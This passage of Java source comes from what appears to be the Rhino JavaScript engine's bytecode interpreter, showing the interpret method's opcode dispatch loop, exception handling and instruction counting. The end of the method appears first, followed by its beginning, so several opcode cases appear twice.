stack[stackTop] = ScriptRuntime.delete(lhs, rhs); break; case TokenStream.GETPROP : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getProp(lhs, name, scope); break; case TokenStream.SETPROP : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setProp(lhs, name, rhs, scope); break; case TokenStream.GETELEM : do_getElem(stack, sDbl, stackTop, scope); --stackTop; break; case TokenStream.SETELEM : do_setElem(stack, sDbl, stackTop, scope); stackTop -= 2; break; case TokenStream.PROPINC : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postIncrement(lhs, name, scope); break; case TokenStream.PROPDEC : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postDecrement(lhs, name, scope); break; case TokenStream.ELEMINC : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postIncrementElem(lhs, rhs, scope); break; case TokenStream.ELEMDEC : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postDecrementElem(lhs, rhs, scope); break; case TokenStream.GETTHIS : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getThis((Scriptable)lhs); break; case TokenStream.NEWTEMP : slot = (iCode[++pc] & 0xFF); stack[LOCAL_SHFT + slot] = stack[stackTop]; sDbl[LOCAL_SHFT + slot] = sDbl[stackTop]; break; case TokenStream.USETEMP : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[LOCAL_SHFT + slot]; sDbl[stackTop] = sDbl[LOCAL_SHFT + slot]; break; case TokenStream.CALLSPECIAL : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } int lineNum = getShort(iCode, pc + 1); name = strings[getShort(iCode, pc + 3)]; count = getShort(iCode, pc + 5); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.callSpecial( cx, lhs, rhs, outArgs, thisObj, scope, name, lineNum); pc += 6; instructionCount = cx.instructionCount; break; case TokenStream.CALL : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } cx.instructionCount = instructionCount; count = getShort(iCode, pc + 3); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); if (lhs == undefined) { i = getShort(iCode, pc + 1); if (i != -1) lhs = strings[i]; } Scriptable calleeScope = scope; if (theData.itsNeedsActivation) { calleeScope = ScriptableObject. getTopLevelScope(scope); } stack[stackTop] = ScriptRuntime.call(cx, lhs, rhs, outArgs, calleeScope); pc += 4; instructionCount = cx.instructionCount; break; case TokenStream.NEW : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } count = getShort(iCode, pc + 3); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); if (lhs == undefined && getShort(iCode, pc + 1) != -1) { // special code for better error message for call // to undefined lhs = strings[getShort(iCode, pc + 1)]; } stack[stackTop] = ScriptRuntime.newObject(cx, lhs, outArgs, scope); pc += 4; instructionCount = cx.instructionCount; break; case TokenStream.TYPEOF : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.typeof(lhs); break; case TokenStream.TYPEOFNAME : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.typeofName(scope, name); pc += 2; break; case TokenStream.STRING : stack[++stackTop] = strings[getShort(iCode, pc + 1)]; pc += 2; break; case TokenStream.SHORTNUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = getShort(iCode, pc + 1); pc += 2; break; case TokenStream.INTNUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = getInt(iCode, pc + 1); pc += 4; break; case TokenStream.NUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = theData. itsDoubleTable[getShort(iCode, pc + 1)]; pc += 2; break; case TokenStream.NAME : stack[++stackTop] = ScriptRuntime.name (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.NAMEINC : stack[++stackTop] = ScriptRuntime.postIncrement (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.NAMEDEC : stack[++stackTop] = ScriptRuntime.postDecrement (scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.SETVAR : slot = (iCode[++pc] & 0xFF); stack[VAR_SHFT + slot] = stack[stackTop]; sDbl[VAR_SHFT + slot] = sDbl[stackTop]; break; case TokenStream.GETVAR : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; break; case TokenStream.VARINC : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; stack[VAR_SHFT + slot] = DBL_MRK; sDbl[VAR_SHFT + slot] = stack_double(stack, sDbl, stackTop) + 1.0; break; case TokenStream.VARDEC : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[VAR_SHFT + slot]; sDbl[stackTop] = sDbl[VAR_SHFT + slot]; stack[VAR_SHFT + slot] = DBL_MRK; sDbl[VAR_SHFT + slot] = stack_double(stack, sDbl, stackTop) - 1.0; break; case TokenStream.ZERO : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = 0; break; case TokenStream.ONE : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = 1; break; case TokenStream.NULL : stack[++stackTop] = null; break; case TokenStream.THIS : stack[++stackTop] = thisObj; break; case TokenStream.THISFN : stack[++stackTop] = fnOrScript; break; case TokenStream.FALSE : stack[++stackTop] = Boolean.FALSE; break; case TokenStream.TRUE : stack[++stackTop] = Boolean.TRUE; break; case TokenStream.UNDEFINED : stack[++stackTop] = Undefined.instance; break; case TokenStream.THROW : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; throw new JavaScriptException(result); case TokenStream.JTHROW : result = stack[stackTop]; // No need to check for DBL_MRK: result is Exception --stackTop; if (result instanceof JavaScriptException) throw (JavaScriptException)result; else throw (RuntimeException)result; case TokenStream.ENTERWITH : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); --stackTop; scope = ScriptRuntime.enterWith(lhs, scope); break; case TokenStream.LEAVEWITH : scope = ScriptRuntime.leaveWith(scope); break; case TokenStream.NEWSCOPE : stack[++stackTop] = ScriptRuntime.newScope(); break; case TokenStream.ENUMINIT : slot = (iCode[++pc] & 0xFF); lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); --stackTop; stack[LOCAL_SHFT + slot] = ScriptRuntime.initEnum(lhs, scope); break; case TokenStream.ENUMNEXT : slot = (iCode[++pc] & 0xFF); val = stack[LOCAL_SHFT + slot]; ++stackTop; stack[stackTop] = ScriptRuntime. nextEnum((Enumeration)val); break; case TokenStream.GETPROTO : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getProto(lhs, scope); break; case TokenStream.GETPARENT : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getParent(lhs); break; case TokenStream.GETSCOPEPARENT : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getParent(lhs, scope); break; case TokenStream.SETPROTO : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setProto(lhs, rhs, scope); break; case TokenStream.SETPARENT : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setParent(lhs, rhs, scope); break; case TokenStream.SCOPE : stack[++stackTop] = scope; break; case TokenStream.CLOSURE : i = getShort(iCode, pc + 1); stack[++stackTop] = new InterpretedFunction( theData.itsNestedFunctions[i], scope, cx); createFunctionObject( (InterpretedFunction)stack[stackTop], scope); pc += 2; break; case TokenStream.OBJECT : i = getShort(iCode, pc + 1); stack[++stackTop] = theData.itsRegExpLiterals[i]; pc += 2; break; case TokenStream.SOURCEFILE : cx.interpreterSourceFile = theData.itsSourceFile; break; case TokenStream.LINE : case TokenStream.BREAKPOINT : i = getShort(iCode, pc + 1); cx.interpreterLine = i; if (frame != null) frame.setLineNumber(i); if ((iCode[pc] & 0xff) == TokenStream.BREAKPOINT || cx.inLineStepMode) { cx.getDebuggableEngine(). getDebugger().handleBreakpointHit(cx); } pc += 2; break; default : dumpICode(theData); throw new RuntimeException("Unknown icode : " + (iCode[pc] & 0xff) + " @ pc : " + pc); } pc++; } catch (Throwable ex) { cx.interpreterSecurityDomain = null; if (instructionThreshold != 0) { if (instructionCount < 0) { // throw during function call instructionCount = cx.instructionCount; } else { // throw during any other operation instructionCount += pc - pcPrevBranch; cx.instructionCount = instructionCount; } } final int SCRIPT_THROW = 0, ECMA = 1, RUNTIME = 2, OTHER = 3; int exType; Object errObj; // Object seen by catch if (ex instanceof JavaScriptException) { errObj = ScriptRuntime. unwrapJavaScriptException((JavaScriptException)ex); exType = SCRIPT_THROW; } else if (ex instanceof EcmaError) { // an offical ECMA error object, errObj = ((EcmaError)ex).getErrorObject(); exType = ECMA; } else if (ex instanceof RuntimeException) { errObj = ex; exType = RUNTIME; } else { errObj = ex; // Error instance exType = OTHER; } if (exType != OTHER && cx.debugger != null) { cx.debugger.handleExceptionThrown(cx, errObj); } boolean rethrow = true; if (exType != OTHER && tryStackTop > 0) { --tryStackTop; if (exType == SCRIPT_THROW || exType == ECMA) { // Check for catch only for // JavaScriptException and EcmaError pc = catchStack[tryStackTop * 2]; if (pc != 0) { // Has catch block rethrow = false; } } if (rethrow) { pc = catchStack[tryStackTop * 2 + 1]; if (pc != 0) { // has finally block rethrow = false; errObj = ex; } } } if (rethrow) { if (frame != null) cx.popFrame(); if (exType == SCRIPT_THROW) throw (JavaScriptException)ex; if (exType == ECMA || exType == RUNTIME) throw (RuntimeException)ex; throw (Error)ex; } // We caught an exception, // Notify instruction observer if necessary // and point pcPrevBranch to start of catch/finally block if (instructionThreshold != 0) { if (instructionCount > instructionThreshold) { // Note: this can throw Error cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc; // prepare stack and restore this function's security domain. scope = (Scriptable)stack[TRY_SCOPE_SHFT + tryStackTop]; stackTop = 0; stack[0] = errObj; cx.interpreterSecurityDomain = theData.securityDomain; } } cx.interpreterSecurityDomain = savedSecurityDomain; if (frame != null) cx.popFrame(); if (instructionThreshold != 0) { if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } cx.instructionCount = instructionCount; } return result; }
public static Object interpret(Context cx, Scriptable scope, Scriptable thisObj, Object[] args, NativeFunction fnOrScript, InterpreterData theData) throws JavaScriptException { int i; Object lhs; final int maxStack = theData.itsMaxStack; final int maxVars = (fnOrScript.argNames == null) ? 0 : fnOrScript.argNames.length; final int maxLocals = theData.itsMaxLocals; final int maxTryDepth = theData.itsMaxTryDepth; final int VAR_SHFT = maxStack; final int LOCAL_SHFT = VAR_SHFT + maxVars; final int TRY_SCOPE_SHFT = LOCAL_SHFT + maxLocals; // stack[0 <= i < VAR_SHFT]: stack data // stack[VAR_SHFT <= i < LOCAL_SHFT]: variables // stack[LOCAL_SHFT <= i < TRY_SCOPE_SHFT]: used for newtemp/usetemp // stack[TRY_SCOPE_SHFT <= i]: try scopes // when 0 <= i < LOCAL_SHFT and stack[x] == DBL_MRK, // sDbl[i] gives the number value final Object DBL_MRK = Interpreter.DBL_MRK; Object[] stack = new Object[TRY_SCOPE_SHFT + maxTryDepth]; double[] sDbl = new double[TRY_SCOPE_SHFT]; int stackTop = -1; byte[] iCode = theData.itsICode; String[] strings = theData.itsStringTable; int pc = 0; int iCodeLength = theData.itsICodeTop; final Scriptable undefined = Undefined.instance; if (maxVars != 0) { int definedArgs = fnOrScript.argCount; if (definedArgs != 0) { if (definedArgs > args.length) { definedArgs = args.length; } for (i = 0; i != definedArgs; ++i) { stack[VAR_SHFT + i] = args[i]; } } for (i = definedArgs; i != maxVars; ++i) { stack[VAR_SHFT + i] = undefined; } } if (theData.itsNestedFunctions != null) { for (i = 0; i < theData.itsNestedFunctions.length; i++) createFunctionObject(theData.itsNestedFunctions[i], scope); } Object id; Object rhs, val; double valDbl; boolean valBln; int count; int slot; String name = null; Object[] outArgs; int lIntValue; double lDbl; int rIntValue; double rDbl; int[] catchStack = null; int tryStackTop = 0; InterpreterFrame frame = null; if (cx.debugger != null) { frame = new InterpreterFrame(scope, theData, fnOrScript); cx.pushFrame(frame); } if (maxTryDepth != 0) { // catchStack[2 * i]: starting pc of catch block // catchStack[2 * i + 1]: starting pc of finally block catchStack = new int[maxTryDepth * 2]; } /* Save the security domain. Must restore upon normal exit. * If we exit the interpreter loop by throwing an exception, * set cx.interpreterSecurityDomain to null, and require the * catching function to restore it. */ Object savedSecurityDomain = cx.interpreterSecurityDomain; cx.interpreterSecurityDomain = theData.securityDomain; Object result = undefined; int pcPrevBranch = pc; final int instructionThreshold = cx.instructionThreshold; // During function call this will be set to -1 so catch can properly // adjust it int instructionCount = cx.instructionCount; // arbitrary number to add to instructionCount when calling // other functions final int INVOCATION_COST = 100; while (pc < iCodeLength) { try { switch (iCode[pc] & 0xff) { case TokenStream.ENDTRY : tryStackTop--; break; case TokenStream.TRY : i = getTarget(iCode, pc + 1); if (i == pc) i = 0; catchStack[tryStackTop * 2] = i; i = getTarget(iCode, pc + 3); if (i == (pc + 2)) i = 0; catchStack[tryStackTop * 2 + 1] = i; stack[TRY_SCOPE_SHFT + tryStackTop] = scope; ++tryStackTop; pc += 4; break; case TokenStream.GE : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && rDbl <= lDbl); } else { valBln = (1 == ScriptRuntime.cmp_LE(rhs, lhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.LE : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && lDbl <= rDbl); } else { valBln = (1 == ScriptRuntime.cmp_LE(lhs, rhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.GT : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && rDbl < lDbl); } else { valBln = (1 == ScriptRuntime.cmp_LT(rhs, lhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.LT : --stackTop; rhs = stack[stackTop + 1]; lhs = stack[stackTop]; if (rhs == DBL_MRK || lhs == DBL_MRK) { rDbl = stack_double(stack, sDbl, stackTop + 1); lDbl = stack_double(stack, sDbl, stackTop); valBln = (rDbl == rDbl && lDbl == lDbl && lDbl < rDbl); } else { valBln = (1 == ScriptRuntime.cmp_LT(lhs, rhs)); } stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.IN : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); valBln = ScriptRuntime.in(lhs, rhs, scope); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.INSTANCEOF : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); valBln = ScriptRuntime.instanceOf(scope, lhs, rhs); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.EQ : --stackTop; valBln = do_eq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.NE : --stackTop; valBln = !do_eq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.SHEQ : --stackTop; valBln = do_sheq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.SHNE : --stackTop; valBln = !do_sheq(stack, sDbl, stackTop); stack[stackTop] = valBln ? Boolean.TRUE : Boolean.FALSE; break; case TokenStream.IFNE : val = stack[stackTop]; if (val != DBL_MRK) { valBln = !ScriptRuntime.toBoolean(val); } else { valDbl = sDbl[stackTop]; valBln = !(valDbl == valDbl && valDbl != 0.0); } --stackTop; if (valBln) { if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount (instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; } pc += 2; break; case TokenStream.IFEQ : val = stack[stackTop]; if (val != DBL_MRK) { valBln = ScriptRuntime.toBoolean(val); } else { valDbl = sDbl[stackTop]; valBln = (valDbl == valDbl && valDbl != 0.0); } --stackTop; if (valBln) { if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount (instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; } pc += 2; break; case TokenStream.GOTO : if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; case TokenStream.GOSUB : sDbl[++stackTop] = pc + 3; if (instructionThreshold != 0) { instructionCount += pc + 3 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = getTarget(iCode, pc + 1); continue; case TokenStream.RETSUB : slot = (iCode[pc + 1] & 0xFF); if (instructionThreshold != 0) { instructionCount += pc + 2 - pcPrevBranch; if (instructionCount > instructionThreshold) { cx.observeInstructionCount(instructionCount); instructionCount = 0; } } pcPrevBranch = pc = (int)sDbl[LOCAL_SHFT + slot]; continue; case TokenStream.POP : stackTop--; break; case TokenStream.DUP : stack[stackTop + 1] = stack[stackTop]; sDbl[stackTop + 1] = sDbl[stackTop]; stackTop++; break; case TokenStream.POPV : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; break; case TokenStream.RETURN : result = stack[stackTop]; if (result == DBL_MRK) result = doubleWrap(sDbl[stackTop]); --stackTop; pc = getTarget(iCode, pc + 1); break; case TokenStream.BITNOT : rIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = ~rIntValue; break; case TokenStream.BITAND : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue & rIntValue; break; case TokenStream.BITOR : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue | rIntValue; break; case TokenStream.BITXOR : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue ^ rIntValue; break; case TokenStream.LSH : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue << rIntValue; break; case TokenStream.RSH : rIntValue = stack_int32(stack, sDbl, stackTop); --stackTop; lIntValue = stack_int32(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lIntValue >> rIntValue; break; case TokenStream.URSH : rIntValue = stack_int32(stack, sDbl, stackTop) & 0x1F; --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = ScriptRuntime.toUint32(lDbl) >>> rIntValue; break; case TokenStream.ADD : --stackTop; do_add(stack, sDbl, stackTop); break; case TokenStream.SUB : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl - rDbl; break; case TokenStream.NEG : rDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = -rDbl; break; case TokenStream.POS : rDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = rDbl; break; case TokenStream.MUL : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl * rDbl; break; case TokenStream.DIV : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; // Detect the divide by zero or let Java do it ? sDbl[stackTop] = lDbl / rDbl; break; case TokenStream.MOD : rDbl = stack_double(stack, sDbl, stackTop); --stackTop; lDbl = stack_double(stack, sDbl, stackTop); stack[stackTop] = DBL_MRK; sDbl[stackTop] = lDbl % rDbl; break; case TokenStream.BINDNAME : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.bind(scope, name); pc += 2; break; case TokenStream.GETBASE : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.getBase(scope, name); pc += 2; break; case TokenStream.SETNAME : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; // what about class cast exception here for lhs? stack[stackTop] = ScriptRuntime.setName ((Scriptable)lhs, rhs, scope, strings[getShort(iCode, pc + 1)]); pc += 2; break; case TokenStream.DELPROP : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.delete(lhs, rhs); break; case TokenStream.GETPROP : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getProp(lhs, name, scope); break; case TokenStream.SETPROP : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.setProp(lhs, name, rhs, scope); break; case TokenStream.GETELEM : do_getElem(stack, sDbl, stackTop, scope); --stackTop; break; case TokenStream.SETELEM : do_setElem(stack, sDbl, stackTop, scope); stackTop -= 2; break; case TokenStream.PROPINC : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postIncrement(lhs, name, scope); break; case TokenStream.PROPDEC : name = (String)stack[stackTop]; --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postDecrement(lhs, name, scope); break; case TokenStream.ELEMINC : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postIncrementElem(lhs, rhs, scope); break; case TokenStream.ELEMDEC : rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.postDecrementElem(lhs, rhs, scope); break; case TokenStream.GETTHIS : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.getThis((Scriptable)lhs); break; case TokenStream.NEWTEMP : slot = (iCode[++pc] & 0xFF); stack[LOCAL_SHFT + slot] = stack[stackTop]; sDbl[LOCAL_SHFT + slot] = sDbl[stackTop]; break; case TokenStream.USETEMP : slot = (iCode[++pc] & 0xFF); ++stackTop; stack[stackTop] = stack[LOCAL_SHFT + slot]; sDbl[stackTop] = sDbl[LOCAL_SHFT + slot]; break; case TokenStream.CALLSPECIAL : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } int lineNum = getShort(iCode, pc + 1); name = strings[getShort(iCode, pc + 3)]; count = getShort(iCode, pc + 5); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.callSpecial( cx, lhs, rhs, outArgs, thisObj, scope, name, lineNum); pc += 6; instructionCount = cx.instructionCount; break; case TokenStream.CALL : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } cx.instructionCount = instructionCount; count = getShort(iCode, pc + 3); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; rhs = stack[stackTop]; if (rhs == DBL_MRK) rhs = doubleWrap(sDbl[stackTop]); --stackTop; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); if (lhs == undefined) { i = getShort(iCode, pc + 1); if (i != -1) lhs = strings[i]; } Scriptable calleeScope = scope; if (theData.itsNeedsActivation) { calleeScope = ScriptableObject. getTopLevelScope(scope); } stack[stackTop] = ScriptRuntime.call(cx, lhs, rhs, outArgs, calleeScope); pc += 4; instructionCount = cx.instructionCount; break; case TokenStream.NEW : if (instructionThreshold != 0) { instructionCount += INVOCATION_COST; cx.instructionCount = instructionCount; instructionCount = -1; } count = getShort(iCode, pc + 3); outArgs = getArgsArray(stack, sDbl, stackTop, count); stackTop -= count; lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); if (lhs == undefined && getShort(iCode, pc + 1) != -1) { // special code for better error message for call // to undefined lhs = strings[getShort(iCode, pc + 1)]; } stack[stackTop] = ScriptRuntime.newObject(cx, lhs, outArgs, scope); pc += 4; instructionCount = cx.instructionCount; break; case TokenStream.TYPEOF : lhs = stack[stackTop]; if (lhs == DBL_MRK) lhs = doubleWrap(sDbl[stackTop]); stack[stackTop] = ScriptRuntime.typeof(lhs); break; case TokenStream.TYPEOFNAME : name = strings[getShort(iCode, pc + 1)]; stack[++stackTop] = ScriptRuntime.typeofName(scope, name); pc += 2; break; case TokenStream.STRING : stack[++stackTop] = strings[getShort(iCode, pc + 1)]; pc += 2; break; case TokenStream.SHORTNUMBER : ++stackTop; stack[stackTop] = DBL_MRK; sDbl[stackTop] = getShort(iCode, pc + 1); pc += 2; break; case TokenStream.INTNUMBER : ++stackTop; 